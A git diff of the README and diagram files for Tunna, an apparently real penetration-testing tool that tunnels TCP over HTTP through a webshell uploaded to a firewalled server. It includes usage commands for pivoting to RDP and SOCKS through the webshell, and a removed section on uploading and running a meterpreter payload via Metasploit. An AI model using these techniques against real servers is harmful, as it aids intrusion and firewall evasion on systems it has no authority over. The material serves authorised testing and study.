diff --git a/Diagram b/Diagram new file mode 100644 index 0000000..56c2fa7 --- /dev/null +++ b/Diagram @@ -0,0 +1,76 @@ +v1.1 Alpha version + + _____ + |_ _| _ _ __ _ __ __ _ + | || | | | '_ \| '_ \ / _` | + | || |_| | | | | | | | (_| | + |_| \__,_|_| |_|_| |_|\__,_| + + + Tunna 1.1a, for HTTP tunneling TCP connections by Nikos Vassakis + http://www.secforce.co.uk / nikos.vassakis secforce.com + + +################################################################################################################ + +High level Diagram: + + +-------------------------------------------+ +-------------------------------------------+ + | Local Host | | Remote Host | + |-------------------------------------------| |-------------------------------------------| + | +----------+ +------------+ | +-------------+ | +------------+ +----------+ | + | |Client App|+----->|Tunna Client|<==========| Firewall |======>| Webshell |+------>|Server App| | + | +----------+ +------------+ | +-------------+ | +------------+ +----------+ | + +-------------------------------------------+ +------------------------------------------ + + + +Technical Diagram: + + +-------------------------------------------+ +-------------------------------------------+ + | Local Host | | Remote Host | + |-------------------------------------------| |-------------------------------------------| + | | | | + | +-----------------+ | | +-----------------+ | + | | Tunna Client | | | | Web Shell (URL) | | + | |-----------------| | | |-----------------| | + | | +-------------+ | | | | | | + | | |HTTP encap. | | | HTTP Traffic | | +-----------+ | | + | | +------^------+ <=================================> |HTTP>Unwrap| | | + | | | | | | | +-----+-----+ | | + | | +-------------+ | | | | | | | + | | | SOCKS 4a | | | | | +-----v-----+ | | + | | +------^------+ | | | | | SOCKS 4a | | | + | | | | | | | +-----+-----+ | | + | | +------+------+ | | | | | | | + | +-| Local Port |-+ | | +--------v--------+ | + | +------^------+ | | | | + | | | | | | + | +----------------+ | | | | +----------------+ | + | |Local Client | | | | +--------> Remote Service | | + | |----------------| | | | |----------------| | + | |Connect to local| | | | |Connection | | + | |Socket | | | | |received from | | + | | +--------+ | | |localhost | | + | | | | | | | | + | | | | | | | | + | +----------------+ | | +----------------+ | + +-------------------------------------------+ +-------------------------------------------+ + + +SOCKS 4a Diagram: + + Incoming Connections Remote Services + +--------+ +--------+ + |L Port +----+ +------> R Port | + +--------+ | | +--------+ + | | + +--------+ | +------------+ +------------| | +--------+ + |L Port +----+------>| SOCKS 4a L |-------------------------->| SOCKS 4a R |---+------> R Port | + +--------+ | +------------+ +------------| | +--------+ + | | + +--------+ | | +--------+ + |L Port +----+ +------> R Port | + +--------+ +--------+ + +Every "L Port" is mapped to a "R Port" in the remote server + diff --git a/Diagram~ b/Diagram~ new file mode 100644 index 0000000..f658067 --- /dev/null +++ b/Diagram~ @@ -0,0 +1,310 @@ +v1.1 Alpha version + + _____ + |_ _| _ _ __ _ __ __ _ + | || | | | '_ \| '_ \ / _` | + | || |_| | | | | | | | (_| | + |_| \__,_|_| |_|_| |_|\__,_| + + + Tunna 1.1a, for HTTP tunneling TCP connections by Nikos Vassakis + http://www.secforce.co.uk / nikos.vassakis secforce.com + + +################################################################################################################ + +High level Diagram: + + +-------------------------------------------+ +-------------------------------------------+ + | Local Host | | Remote Host | + |-------------------------------------------| |-------------------------------------------| + | +----------+ +------------+ | +-------------+ | +------------+ +----------+ | + | |Client App|+----->|Tunna Client|<==========| Firewall |======>| Webshell |+------>|Server App| | + | +----------+ +------------+ | +-------------+ | +------------+ +----------+ | + +-------------------------------------------+ +------------------------------------------ + + + +Technical Diagram: + + +-------------------------------------------+ +-------------------------------------------+ + | Local Host | | Remote Host | + |-------------------------------------------| |-------------------------------------------| + | | | | + | +-----------------+ | | +-----------------+ | + | | Tunna Client | | | | Web Shell (URL) | | + | |-----------------| | | |-----------------| | + | | +-------------+ | | | | | | + | | |HTTP encap. | | | HTTP Traffic | | +-----------+ | | + | | +------^------+ <=================================> |HTTP>Unwrap| | | + | | | | | | | +-----+-----+ | | + | | +-------------+ | | | | | | | + | | | SOCKS 4a | | | | | +-----v-----+ | | + | | +------^------+ | | | | | SOCKS 4a | | | + | | | | | | | +-----+-----+ | | + | | +------+------+ | | | | | | | + | +-| Local Port |-+ | | +--------v--------+ | + | +------^------+ | | | | + | | | | | | + | +----------------+ | | | | +----------------+ | + | |Local Client | | | | +--------> Remote Service | | + | |----------------| | | | |----------------| | + | |Connect to local| | | | |Connection | | + | |Socket | | | | |received from | | + | | +--------+ | | |localhost | | + | | | | | | | | + | | | | | | | | + | +----------------+ | | +----------------+ | + +-------------------------------------------+ +-------------------------------------------+ + + +SOCKS 4a Diagram: + + Incoming Connections Remote Services + +--------+ +--------+ + |L Port +----+ +------> R Port | + +--------+ | | +--------+ + | | + +--------+ | +------------+ +------------| | +--------+ + |L Port +----+------>| SOCKS 4a L |-------------------------->| SOCKS 4a R |---+------> R Port | + +--------+ | +------------+ +------------| | +--------+ + | | + +--------+ | | +--------+ + |L Port +----+ +------> R Port | + +--------+ +--------+ + +Every "L Port" is mapped to a "R Port" in the remote server + + +SUMMARY +======= + + TLDR: Tunnels TCP connections over HTTP + +In a fully firewalled (inbound and outbound connections restricted - except the webserver port) + +The webshell can be used to connect to any service on the remote host. +This would be a local connection on a local port at the remote host and *should* be allowed by the firewall. + +The webshell will read data from the service port wrap them over HTTP and send it as an HTTP response to the +local proxy. + +The local proxy will unwrap and write the data to it's local port where the client program would be connected. + +When the local proxy receives data on the local port, it will send them over to the webshell as an HTTP Post. + +The webshell will read the data from the HTTP Post and put them on the service port + +and repeat --^ + +Only the webserver port needs to be open (typically 80/443) +The whole communication (Externally) is done over the HTTP protocol + + +USAGE +====== + python proxy.py -u -l [options] + +Options +======= +--help, -h show this help message and exit +--url=URL, -u URL url of the remote webshell +--lport=LOCAL_PORT, -l LOCAL_PORT + local listening port +--verbose, -v Verbose (outputs packet size) +--buffer=BUFFERSIZE, -b BUFFERSIZE* + HTTP request size (some webshels have limitations on + the size) + +No SOCKS Options +---------------- +Options are ignored if SOCKS proxy is used + +--no-socks, -n Do not use Socks Proxy +--rport=REMOTE_PORT, -r REMOTE_PORT + remote port of service for the webshell to connect to +--addr=REMOTE_IP, -a REMOTE_IP + address for remote webshell to connect to (default = + 127.0.0.1) + +Upstream Proxy Options +---------------------- +Tunnel connection through a local Proxy + +--up-proxy=UPPROXY, -x UPPROXY + Upstream proxy (http://proxyserver.com:3128) +--auth, -A Upstream proxy requires authentication + +Advanced Options +---------------- +--ping-interval=PING_DELAY, -q PING_DELAY + webshprx pinging thread interval (default = 0.5) +--start-ping, -s Start the pinging thread first - some services send + data first (eg. SSH) + + +* See limitations + +example usage: + python proxy.py -u http://10.3.3.1/conn.aspx -l 8000 -v + + # This will start a Local SOCKS Proxy Server at port 80000 + # This connection will be wrapped over HTTP and unwrapped at the remote server + + python proxy.py -u http://10.3.3.1/conn.aspx -l 8000 -x https://192.168.1.100:3128 -A -v + + # This will start a Local SOCKS Proxy Server at port 80000 + # It will connect through a Local Proxy (https://192.168.1.100:3128) that requires authentication + # to the remote Tunna webshell + + python proxy.py -u http://10.3.3.1/conn.aspx -l 4444 -r 3389 -b 8192 -v --no-socks + + # This will initiate a connection between the webshell and Remote host RDP (3389) service + # The RDP client can connect on localhost port 4444 + # This connection will be wrapped over HTTP + + + + +Prerequisites +============= + + The ability to upload a webshell on the remote server + + +LIMITATIONS / KNOWN BUGS / HACKS +================================ + + This is a POC code and might cause DoS of the server. + All efforts to clean up after execution or on error have been made (no promises) + + Based on local tests: + * JSP buffer needs to be limited (buffer option): + 4096 worked in Linux Apache Tomcat + 1024 worked in XAMPP Apache Tomcat (slow) + * More than that created problems with bytes missing at the remote socket + eg: ruby proxy.rb -u http://10.3.3.1/conn.jsp -l 4444 -r 3389 -b 1024 -v + + * Sockets not enabled by default php windows (IIS + PHP) + + * Return cariages on webshells (outside the code): + get sent on responses / get written on local socket --> corrupt the packets + + * PHP webshell for windows: the loop function DoS'es the remote socket: + sleep function added -> works but a bit slow + * PHP webshell needs new line characters removed at the end of the file (after "?>") + as these will get send in every response and confuse Tunna + + +FILES +===== + + Webshells: + conn.jsp Tested on Apache Tomcat (windows + linux) + conn.aspx Tested on IIS 6+8 (windows server 2003/2012) + conn.php Tested on LAMP + XAMPP + IIS (windows + linux) + + WebServer: + webserver.py Tested with Python 2.6.5 + + Proxies: + proxy.py Tested with Python 2.6.5 + + +Technical Details +================= + + Architecture descisions + ----------------------- + Data is sent raw in the HTTP Post Body (no post variable) + + Instructions / configuration is sent to the webshell as URL parameters (HTTP Get) + Data is sent in the HTTP body (HTTP Post) + + Websockets not used: Not supported by default by most of webservers + Asyncronous HTTP responses not really possible + Proxy queries the server constantly (default 0.5 seconds) + + + INITIATION PHASE + ---------------- + +1st packet initiates a session with the webshell - gets a cookie back + eg: http://webserver/conn.ext?proxy + +2nd packet sends connection configuration options to the webshell + eg: http://webserver/conn.ext?proxy&port=4444&ip=127.0.0.1 + + IP and port for the webshell to connect to + This is a threaded request: + In php this request will go into an infinate loop + to keep the webshell socket connection alive + In other webshells [OK] is received back + + TUNNA CLIENT + ------------ +A local socket is going to get created where the client program is going to connect to +Once the client is connected the pinging thread is initiated and execution starts. +Any data on the socket (from the client) get read and get sent as a HTTP Post request +Any data on the webshell socket get sent as a response to the POST request + + PINGING THREAD + -------------- +Because HTTP responses cannot be asyncronous. +This thread will do HTTP Get requests on the webshell based on an interval (default 0.5 sec) +If the webshell has data to send, it will (also) send it as a reply to this request +Otherwise it sends an empty response + +In general: + Data from the local proxy get send with HTTP Post + There are Get requests every 0.5 sec to query the webshell for data + If there is data on the webshell side get send over as a response to one of these requests + + WEBSHELL + -------- +The webshell connects to a socket on the local or a remote host. +Any data written on the socket get sent back to the proxy as a reply to a request (POST/GET) +Any data received with a post get written to the socket. + + NOTES + ----- +All requests need to have the URL parameter "proxy" set to be handled by the webshell + (http://webserver/conn.ext?proxy) + + AT EXIT / AT ERROR + ------------------ +Kills all threads and closes local socket +Sends proxy&close to webshell: + Kills remote threads and closes socket + + SOCKS + ----- +The SOCKS support is an addon module for Tunna. Locally is a seperate thread that handles the connection +requests and traffic adds a header that specifies the port and the size of the packet and forwards it to +Tunna. Tunna sends it over to the remote webserver, removes the HTTP headers and forwards the packet to +the remote SOCKS proxy. The remote SOCKS proxy initiates the connection and mapps the received port to +the local port. If the remote SOCKS proxy receives data from the service, it looks at the mapping table +and finds the port it needs to respond to, adds the port as a header so the local SOCKS proxy will know where +to forward the data. Any traffic from the received port will be forwarded to the local port and vice versa. + + +COPYRIGHT & DISCLAIMER +====================== + +Tunna, TCP Tunneling Over HTTP +Nikos Vassakis +Copyright (C) 2014 SECFORCE. + +This tool is for legal purposes only. + +This program is free software: you can redistribute it and/or modify it +under the terms of the GNU General Public License as published by the +Free Software Foundation, either version 3 of the License, or (at your +option) any later version. + +This program is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General +Public License for more details. + +You should have received a copy of the GNU General Public License along +with this program. If not, see . diff --git a/README.md b/README.md index e3d8953..16ae124 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,7 @@ Tunna Tunna is a set of tools which will wrap and tunnel any TCP communication over HTTP. It can be used to bypass network restrictions in fully firewalled environments. -v0.1 Alpha version +v1.1 Alpha version _____ |_ _| _ _ __ _ __ __ _ @@ -18,46 +18,6 @@ v0.1 Alpha version ################################################################################################################ -High level Diagram: - - +-------------------------------------------+ +-------------------------------------------+ - | Local Host | | Remote Host | - |-------------------------------------------| |-------------------------------------------| - | +----------+ +------------+ | +-------------+ | +------------+ +----------+ | - | |Client App|+----->|Local Proxy |<==========| Firewall |======>| Webshell |+------>|Server App| | - | +----------+ +------------+ | +-------------+ | +------------+ +----------+ | - +-------------------------------------------+ +------------------------------------------ + - - -Technical Diagram: - - +-------------------------------------------+ +-------------------------------------------+ - | Local Host | | Remote Host | - |-------------------------------------------| |-------------------------------------------| - | | | | - | +-----------------+ | | +-----------------+ | - | | Local Proxy | | | | Web Shell (URL) | | - | |-----------------| | | |-----------------| | - | | +-------------+ | | | | | | - | | |HTTP encap. | | | HTTP Traffic | | +-----------+ | | - | | +------^------+ <=================================> |HTTP-->Sock| | | - | | | | | | | +-----+-----+ | | - | | +------+------+ | | | | | | | - | +-| Local Port |-+ | | +--------v--------+ | - | +------^------+ | | | | - | | | | | | - | +----------------+ | | | | +----------------+ | - | |Local Client | | | | +--------> Remote Service | | - | |----------------| | | | |----------------| | - | |Connect to local| | | | |Connection | | - | |Socket | | | | |received from | | - | | +--------+ | | |localhost | | - | | | | | | | | - | | | | | | | | - | +----------------+ | | +----------------+ | - +-------------------------------------------+ +-------------------------------------------+ - - SUMMARY ======= @@ -71,7 +31,7 @@ This would be a local connection on a local port at the remote host and *should* The webshell will read data from the service port wrap them over HTTP and send it as an HTTP response to the local proxy. -The local proxy will unwrap and write the data to its local port where the client program would be connected. +The local proxy will unwrap and write the data to it's local port where the client program would be connected. When the local proxy receives data on the local port, it will send them over to the webshell as an HTTP Post. @@ -79,39 +39,75 @@ The webshell will read the data from the HTTP Post and put them on the service p and repeat --^ -Only the webserver port needs to be open (typically 80 - *not really tested over 443 SSL) +Only the webserver port needs to be open (typically 80/443) The whole communication (Externally) is done over the HTTP protocol -Theoretically (UNTESTED) the webshell can connect to any other remote host / remote service: - * There are some webserver limitations - not allowing external socket connections etc. USAGE ====== + python proxy.py -u -l [options] - ruby proxy.rb -u -p -r [options] -or - python proxy.py -u -p -r [options] +Options +======= +--help, -h show this help message and exit +--url=URL, -u URL url of the remote webshell +--lport=LOCAL_PORT, -l LOCAL_PORT + local listening port +--verbose, -v Verbose (outputs packet size) +--buffer=BUFFERSIZE, -b BUFFERSIZE* + HTTP request size (some webshels have limitations on + the size) + +No SOCKS Options +---------------- +Options are ignored if SOCKS proxy is used + +--no-socks, -n Do not use Socks Proxy +--rport=REMOTE_PORT, -r REMOTE_PORT + remote port of service for the webshell to connect to +--addr=REMOTE_IP, -a REMOTE_IP + address for remote webshell to connect to (default = + 127.0.0.1) + +Upstream Proxy Options +---------------------- +Tunnel connection through a local Proxy + +--up-proxy=UPPROXY, -x UPPROXY + Upstream proxy (http://proxyserver.com:3128) +--auth, -A Upstream proxy requires authentication + +Advanced Options +---------------- +--ping-interval=PING_DELAY, -q PING_DELAY + webshprx pinging thread interval (default = 0.5) +--start-ping, -s Start the pinging thread first - some services send + data first (eg. SSH) - -u, --url URL url of the remote webshell - -l, --lport PORT local port of proxy - -r, --rport PORT remote port of service for the webshell to connect to - -q, --ping-interval NUM webshprx pinging thread interval (default = 0.5) - -a, --addr IP address for remote webshell to connect to (default = 127.0.0.1) -* -b, --buffer BUFF HTTP request size (some webshels have limitations on the size) - -s, --start-ping start the pinging thread first - some services send data first (SSH) - -v, --verbose verbose output - for debugging purposes - -h, --help Display this screen * See limitations example usage: - ruby proxy.rb -u http://10.3.3.1/conn.aspx -l 4444 -r 3389 -b 8192 -v + python proxy.py -u http://10.3.3.1/conn.aspx -l 8000 -v + + # This will start a Local SOCKS Proxy Server at port 80000 + # This connection will be wrapped over HTTP and unwrapped at the remote server + + python proxy.py -u http://10.3.3.1/conn.aspx -l 8000 -x https://192.168.1.100:3128 -A -v + + # This will start a Local SOCKS Proxy Server at port 80000 + # It will connect through a Local Proxy (https://192.168.1.100:3128) that requires authentication + # to the remote Tunna webshell + + python proxy.py -u http://10.3.3.1/conn.aspx -l 4444 -r 3389 -b 8192 -v --no-socks # This will initiate a connection between the webshell and Remote host RDP (3389) service # The RDP client can connect on localhost port 4444 # This connection will be wrapped over HTTP + + Prerequisites ============= @@ -122,7 +118,7 @@ LIMITATIONS / KNOWN BUGS / HACKS ================================ This is a POC code and might cause DoS of the server. - All efforts to clean up after execution or on error have been made ... but no promises + All efforts to clean up after execution or on error have been made (no promises) Based on local tests: * JSP buffer needs to be limited (buffer option): @@ -138,6 +134,8 @@ LIMITATIONS / KNOWN BUGS / HACKS * PHP webshell for windows: the loop function DoS'es the remote socket: sleep function added -> works but a bit slow + * PHP webshell needs new line characters removed at the end of the file (after "?>") + as these will get send in every response and confuse Tunna FILES @@ -148,10 +146,12 @@ FILES conn.aspx Tested on IIS 6+8 (windows server 2003/2012) conn.php Tested on LAMP + XAMPP + IIS (windows + linux) + WebServer: + webserver.py Tested with Python 2.6.5 + Proxies: - proxy.rb Tested with ruby 1.9.2 proxy.py Tested with Python 2.6.5 - + Technical Details ================= @@ -159,12 +159,11 @@ Technical Details Architecture descisions ----------------------- Data is sent raw in the HTTP Post Body (no post variable) - To save a couple of bytes Instructions / configuration is sent to the webshell as URL parameters (HTTP Get) Data is sent in the HTTP body (HTTP Post) - Websockets not used: Not supported by default by most of webservers (Maybe futrure dev) + Websockets not used: Not supported by default by most of webservers Asyncronous HTTP responses not really possible Proxy queries the server constantly (default 0.5 seconds) @@ -184,8 +183,8 @@ Technical Details to keep the webshell socket connection alive In other webshells [OK] is received back - PROXY - ----- + TUNNA CLIENT + ------------ A local socket is going to get created where the client program is going to connect to Once the client is connected the pinging thread is initiated and execution starts. Any data on the socket (from the client) get read and get sent as a HTTP Post request @@ -220,13 +219,23 @@ Kills all threads and closes local socket Sends proxy&close to webshell: Kills remote threads and closes socket + SOCKS + ----- +The SOCKS support is an addon module for Tunna. Locally is a seperate thread that handles the connection +requests and traffic adds a header that specifies the port and the size of the packet and forwards it to +Tunna. Tunna sends it over to the remote webserver, removes the HTTP headers and forwards the packet to +the remote SOCKS proxy. The remote SOCKS proxy initiates the connection and mapps the received port to +the local port. If the remote SOCKS proxy receives data from the service, it looks at the mapping table +and finds the port it needs to respond to, adds the port as a header so the local SOCKS proxy will know where +to forward the data. Any traffic from the received port will be forwarded to the local port and vice versa. + COPYRIGHT & DISCLAIMER ====================== Tunna, TCP Tunneling Over HTTP Nikos Vassakis -Copyright (C) 2013 SECFORCE. +Copyright (C) 2014 SECFORCE. This tool is for legal purposes only. diff --git a/metasploit/README b/README.md~ similarity index 51% rename from metasploit/README rename to README.md~ index 2ecb96d..e3d8953 100644 --- a/metasploit/README +++ b/README.md~ @@ -1,11 +1,16 @@ -v0.1a Pre-alpha version +Tunna +===== + +Tunna is a set of tools which will wrap and tunnel any TCP communication over HTTP. It can be used to bypass network restrictions in fully firewalled environments. + +v0.1 Alpha version _____ |_ _| _ _ __ _ __ __ _ | || | | | '_ \| '_ \ / _` | | || |_| | | | | | | | (_| | |_| \__,_|_| |_|_| |_|\__,_| - METASPLOIT MODULE + Tunna 0.1, for HTTP tunneling TCP connections by Nikos Vassakis http://www.secforce.co.uk / nikos.vassakis secforce.com @@ -18,136 +23,97 @@ High level Diagram: +-------------------------------------------+ +-------------------------------------------+ | Local Host | | Remote Host | |-------------------------------------------| |-------------------------------------------| - | +-------------------------------+ | +-------------+ | +------------+ +----------+ | - | | Metasploit Module |<==========| Firewall |======>| Webshell |+------>|Server App| | - | +-------------------------------+ | +-------------+ | +------------+ +----------+ | + | +----------+ +------------+ | +-------------+ | +------------+ +----------+ | + | |Client App|+----->|Local Proxy |<==========| Firewall |======>| Webshell |+------>|Server App| | + | +----------+ +------------+ | +-------------+ | +------------+ +----------+ | +-------------------------------------------+ +------------------------------------------ + Technical Diagram: +-------------------------------------------+ +-------------------------------------------+ - | Local Host (*Needs to be set as RHOST) | | Remote Host | + | Local Host | | Remote Host | |-------------------------------------------| |-------------------------------------------| | | | | | +-----------------+ | | +-----------------+ | - | | METASPLOIT | | | | Web Shell (URL) | | + | | Local Proxy | | | | Web Shell (URL) | | | |-----------------| | | |-----------------| | | | +-------------+ | | | | | | | | |HTTP encap. | | | HTTP Traffic | | +-----------+ | | | | +------^------+ <=================================> |HTTP-->Sock| | | | | | | | | | +-----+-----+ | | | | +------+------+ | | | | | | | - | | | Local Port | | | | +--------v--------+ | - | | +------^------+ | | | | | - | | | | | | | | - | | +------+------+ | | | | +----------------+ | - | | | HANDLER | | | | +--------> Remote PAYLOAD | | - | | +-------------+ | | | |----------------| | - | +-----------------+ | | |Connection | | - | | | |received from | | - | | | |localhost | | - | | | | | | - | | | | | | - | | | +----------------+ | + | +-| Local Port |-+ | | +--------v--------+ | + | +------^------+ | | | | + | | | | | | + | +----------------+ | | | | +----------------+ | + | |Local Client | | | | +--------> Remote Service | | + | |----------------| | | | |----------------| | + | |Connect to local| | | | |Connection | | + | |Socket | | | | |received from | | + | | +--------+ | | |localhost | | + | | | | | | | | + | | | | | | | | + | +----------------+ | | +----------------+ | +-------------------------------------------+ +-------------------------------------------+ SUMMARY ======= - TLDR: Tunnels Metasploit Payload (TCP) connections over HTTP + TLDR: Tunnels TCP connections over HTTP In a fully firewalled (inbound and outbound connections restricted - except the webserver port) -The exploit generates the payload, uploads it to the server and executes it using the webshell. - -The webshell is used to connect to the payload running on the remote host. +The webshell can be used to connect to any service on the remote host. This would be a local connection on a local port at the remote host and *should* be allowed by the firewall. -The webshell will read data from the payload port wrap them over HTTP and send it as an HTTP response to the -metasploit "proxy". +The webshell will read data from the service port wrap them over HTTP and send it as an HTTP response to the +local proxy. -The local metasploit "proxy" will unwrap and write the data to its local port where the payload handler -is connected. +The local proxy will unwrap and write the data to its local port where the client program would be connected. -When the metasploit "proxy" receives data on the local port, it will send them over to the webshell -as a HTTP Post. +When the local proxy receives data on the local port, it will send them over to the webshell as an HTTP Post. -The webshell will read the data from the HTTP Post and put them on the payload port +The webshell will read the data from the HTTP Post and put them on the service port and repeat --^ Only the webserver port needs to be open (typically 80 - *not really tested over 443 SSL) The whole communication (Externally) is done over the HTTP protocol +Theoretically (UNTESTED) the webshell can connect to any other remote host / remote service: + * There are some webserver limitations - not allowing external socket connections etc. + USAGE ====== -Module options (exploit/windows/misc/http_prx_exploit): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - LPORT 4444 no port for local server (Handler listener) - PingInterval 0.5 no HTTP request for data, pinging interval -** RHOST 10.3.3.7 yes !IMPORTANT local external IP - RPORT 4444 no remote port of service for the webshell - to connect to (remote meterpreter) - TARGETURI http://webserver:80/conn.ext yes PATH to conn.php / conn.aspx / conn.jsp - - -Payload options (windows/meterpreter/bind_tcp): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - EXITFUNC process yes Exit technique: seh, thread, process, none - LPORT 4444 yes The listen port - RHOST 10.3.3.7 no The target address - - -Module advanced options: - - Name : BufferSize ** - Current Setting: 8192 - Description : HTTP request size (some webshels have limitations on the size) - - Name : RemoteAddress - Current Setting: 127.0.0.1 - Description : address for remote webshell to connect to (beta) - - Name : ReqTimeout - Current Setting: 300 - Description : HTTP request timeout in milliseconds - - Name : StartPing - Current Setting: false - Description : start the pinging thread first - some services send data first (SSH) + ruby proxy.rb -u -p -r [options] +or + python proxy.py -u -p -r [options] - Name : VERBOSE - Current Setting: false - Description : Enable detailed status messages + -u, --url URL url of the remote webshell + -l, --lport PORT local port of proxy + -r, --rport PORT remote port of service for the webshell to connect to + -q, --ping-interval NUM webshprx pinging thread interval (default = 0.5) + -a, --addr IP address for remote webshell to connect to (default = 127.0.0.1) +* -b, --buffer BUFF HTTP request size (some webshels have limitations on the size) + -s, --start-ping start the pinging thread first - some services send data first (SSH) + -v, --verbose verbose output - for debugging purposes + -h, --help Display this screen +* See limitations example usage: - use exploit/windows/misc/http_prx_exploit - set PAYLOAD windows/meterpreter/bind_tcp - set VERBOSE true - set RHOST 10.3.3.7 - set TARGETURI http://10.3.3.1/conn.aspx - -** exploit -j + ruby proxy.rb -u http://10.3.3.1/conn.aspx -l 4444 -r 3389 -b 8192 -v -wait for session - sessions -i $(session number) + # This will initiate a connection between the webshell and Remote host RDP (3389) service + # The RDP client can connect on localhost port 4444 + # This connection will be wrapped over HTTP -** See Limitations Prerequisites ============= - Copy the exploit file at ~/.msf4/modules/exploits/windows/misc/http_prx_exploit.rb - or - Copy the exploit file at ~/.msf4/modules/exploits/linux/misc/http_prx_exploit.rb - or wherever The ability to upload a webshell on the remote server @@ -156,34 +122,14 @@ LIMITATIONS / KNOWN BUGS / HACKS ================================ This is a POC code and might cause DoS of the server. - All efforts to clean up after execution or on error have been made ... no promises - There are some known bugs - - Important!: - * It needs to be run as a job (exploit -j) - otherwise the socket threads get killed (program exits) when the handler is executed - * There is a bug in metasploit and local sockets - Bug #7760 - Affected the development of the module greatly - ! RHOST needs to be set to the local external IP or won't work - LPORT: a local available port for the metasploit handler needs to be set as well - - * RHOST: when overloaded (in code) the handler couldn't connect. - * Theoretically reverse payloads can be used (UNTESTED and not recommended) - but StartPing needs to be set to TRUE - * The correct PAYLOAD for the remote OS should be selected - * Sometimes the pinging thread doesn't get killed - better to close the remote connection 1st - - Based on local tests: - * Most tests done with PAYLOAD (but others should work): - windows/meterpreter/bind_tcp - and - linux/x86/meterpreter/bind_tcp - - * JSP buffer needs to be limited (BufferSize option): + All efforts to clean up after execution or on error have been made ... but no promises + + Based on local tests: + * JSP buffer needs to be limited (buffer option): 4096 worked in Linux Apache Tomcat 1024 worked in XAMPP Apache Tomcat (slow) * More than that created problems with bytes missing at the remote socket - eg: set BufferSize 1024 + eg: ruby proxy.rb -u http://10.3.3.1/conn.jsp -l 4444 -r 3389 -b 1024 -v * Sockets not enabled by default php windows (IIS + PHP) @@ -191,40 +137,27 @@ LIMITATIONS / KNOWN BUGS / HACKS get sent on responses / get written on local socket --> corrupt the packets * PHP webshell for windows: the loop function DoS'es the remote socket: - sleep function added -> works but a bit slow - + sleep function added -> works but a bit slow + FILES ===== Webshells: - conn.jsp Tested on Apache Tomcat (windows + linux) - conn.aspx Tested on IIS 6+8 (windows server 2003/2012) - conn.php Tested on LAMP + XAMPP + IIS (windows + linux) + conn.jsp Tested on Apache Tomcat (windows + linux) + conn.aspx Tested on IIS 6+8 (windows server 2003/2012) + conn.php Tested on LAMP + XAMPP + IIS (windows + linux) - Module: - http_prx_exploit.rb Tested in backtrack 5 / metasploit v4.3.0-dev [core:4.3 api:1.0] + Proxies: + proxy.rb Tested with ruby 1.9.2 + proxy.py Tested with Python 2.6.5 Technical Details ================= - * The code is in a Pre-alpha dev stage: - more work with the exceptions & at exit cleanup is needed - Architecture descisions ----------------------- - Have the all the code included in one module - Also tried to make it a handler module but this works better - - Tried to use Metasploits API as much as possible - - Local port is needed for handler connection - Internal (double) socket was not possible - - VERBOSE ouput that gets restricted when meterpreter is connected - - General: Data is sent raw in the HTTP Post Body (no post variable) To save a couple of bytes @@ -238,17 +171,14 @@ Technical Details INITIATION PHASE ---------------- + 1st packet initiates a session with the webshell - gets a cookie back eg: http://webserver/conn.ext?proxy -Based on the specified payload an executable gets generated (masfpayload code) - It gets uploaded to the webservers temp directory on the remote host - It gets executed by the webserver - 2nd packet sends connection configuration options to the webshell eg: http://webserver/conn.ext?proxy&port=4444&ip=127.0.0.1 - IP and port of the payload for the webshell to connect to + IP and port for the webshell to connect to This is a threaded request: In php this request will go into an infinate loop to keep the webshell socket connection alive @@ -256,13 +186,8 @@ Based on the specified payload an executable gets generated (masfpayload code) PROXY ----- -The handler is called with the localhost(RHOST)/LPORT settings -Typically the handler connects to the local socket and sends the payload stage -session is created on the background -to interact with the session: sessions -i $(session number) - -Once the handler is connected the pinging thread is initiated and execution starts. - +A local socket is going to get created where the client program is going to connect to +Once the client is connected the pinging thread is initiated and execution starts. Any data on the socket (from the client) get read and get sent as a HTTP Post request Any data on the webshell socket get sent as a response to the POST request @@ -280,11 +205,7 @@ In general: WEBSHELL -------- -if url parameter file&upload is set it reads the executable and stores it on the temp -if url parameter file&run is received: runs the executable - In linux chmod +x is needed -if url parameter file&delete: deletes the executable (at exit) -The webshell connects to the payload socket on the local host. +The webshell connects to a socket on the local or a remote host. Any data written on the socket get sent back to the proxy as a reply to a request (POST/GET) Any data received with a post get written to the socket. @@ -292,18 +213,18 @@ Any data received with a post get written to the socket. ----- All requests need to have the URL parameter "proxy" set to be handled by the webshell (http://webserver/conn.ext?proxy) - + AT EXIT / AT ERROR ------------------ -Tries to kill all threads and close socket - * Doesn't always work as expected +Kills all threads and closes local socket Sends proxy&close to webshell: Kills remote threads and closes socket + COPYRIGHT & DISCLAIMER ====================== -Tunna, TCP Tunneling Over HTTP - METASPLOIT MODULE +Tunna, TCP Tunneling Over HTTP Nikos Vassakis Copyright (C) 2013 SECFORCE. diff --git a/README~ b/README~ new file mode 100644 index 0000000..cc0a10e --- /dev/null +++ b/README~ @@ -0,0 +1,315 @@ +Tunna +===== + +Tunna is a set of tools which will wrap and tunnel any TCP communication over HTTP. It can be used to bypass network restrictions in fully firewalled environments. + +v1.1 Alpha version + + _____ + |_ _| _ _ __ _ __ __ _ + | || | | | '_ \| '_ \ / _` | + | || |_| | | | | | | | (_| | + |_| \__,_|_| |_|_| |_|\__,_| + + + Tunna 1.1a, for HTTP tunneling TCP connections by Nikos Vassakis + http://www.secforce.co.uk / nikos.vassakis secforce.com + + +################################################################################################################ + +High level Diagram: + + +-------------------------------------------+ +-------------------------------------------+ + | Local Host | | Remote Host | + |-------------------------------------------| |-------------------------------------------| + | +----------+ +------------+ | +-------------+ | +------------+ +----------+ | + | |Client App|+----->|Tunna Client|<==========| Firewall |======>| Webshell |+------>|Server App| | + | +----------+ +------------+ | +-------------+ | +------------+ +----------+ | + +-------------------------------------------+ +------------------------------------------ + + + +Technical Diagram: + + +-------------------------------------------+ +-------------------------------------------+ + | Local Host | | Remote Host | + |-------------------------------------------| |-------------------------------------------| + | | | | + | +-----------------+ | | +-----------------+ | + | | Tunna Client | | | | Web Shell (URL) | | + | |-----------------| | | |-----------------| | + | | +-------------+ | | | | | | + | | |HTTP encap. | | | HTTP Traffic | | +-----------+ | | + | | +------^------+ <=================================> |HTTP>Unwrap| | | + | | | | | | | +-----+-----+ | | + | | +-------------+ | | | | | | | + | | | SOCKS 4a | | | | | +-----v-----+ | | + | | +------^------+ | | | | | SOCKS 4a | | | + | | | | | | | +-----+-----+ | | + | | +------+------+ | | | | | | | + | +-| Local 